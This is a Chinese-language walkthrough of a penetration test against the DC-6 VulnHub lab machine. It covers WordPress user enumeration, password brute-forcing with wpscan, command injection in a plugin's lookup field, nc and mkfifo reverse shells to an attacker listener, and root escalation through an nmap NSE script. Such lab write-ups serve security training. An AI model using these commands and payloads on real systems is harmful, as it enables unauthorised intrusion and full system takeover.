對DC-6靶機進行滲透測試
本例使用的工具主要有:wpscan
,BurpSuite
,nc(瑞士軍刀)
1. 搭建滲透平臺
Kali 2018, DC-6靶機, VMWare虛擬機平臺
DC-6靶機的滲透需要用到DC作者在https://www.vulnhub.com/entry/dc-6,315/給出的提示
發現主機這個步驟省略
2. 枚舉用戶名
站點使用了wordpress,考慮使用wpscan
root@kali:~# wpscan --url wordy -eu
2. 用戶名和密碼爆破
DC-6的作者給了這樣的提示
OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. 😉
- 這個文件可以在kali OS對應的目錄下找到
- 我們根據提示生成一本字典,用於密碼爆破
root@kali:~# wpscan --url wordy -U users.txt -P dc6pass.txt
----省略n行----
[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01
Trying jens / !lak019b Time: 00:09:39 <======================> (12547 / 12547) 100.00% Time: 00:09:39
[i] Valid Combinations Found:
| Username: mark, Password: helpdesk01
- 現在可以登入網站後臺
3. 注入
- 後臺頁面中有一個工具:
activity monitor
,這個工具下的tools
選項卡下的lookup
功能存在遠程代碼執行漏洞,可以在searchexploit
工具中搜索到詳細信息。 - 打開BP,設置好代理,隨便往輸入框輸入一個域名,點擊lookup
- BP攔截到數據包,裏面有一塊就是剛纔輸入的域名,我輸入的是 g.cn,我在後面加了一段其他命令,然後放行數據包
g.cn | ls -l
- 前端頁面返回了目錄信息,不多說,直接試試nc
本地開啓端口監聽
root@kali:/# nc -lvp 1234
遠程代碼,放入bp中再轉發給目標主機,即可拿到shell
g.cn | nc 192.168.11.128 1234 -e /bin/bash
4. 提權
- 拿到shell之後在mark用戶目錄下找到了一組用戶名和密碼,馬上切換用戶。
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
- 嘗試一下
sudo -l
出現了免密的jens的命令
graham@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
- 考慮再用nc弄一個jens的反彈shell
追加到backup.sh
的內容
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.11.128 1234 > /tmp/f
- 本地打開nc監聽後運行
backup.sh
,可以拿到jens的shell,sudo -l
看一下,nmap可以免密root,讓這條命令幫我們打開一個shell,就可以拿到root。然後修改root密碼,新建用戶並設置密碼再ssh登陸,最後切換爲root賬戶
echo 'os.execute("/bin/sh")' > getroot.nse
nmap --script getroot.nse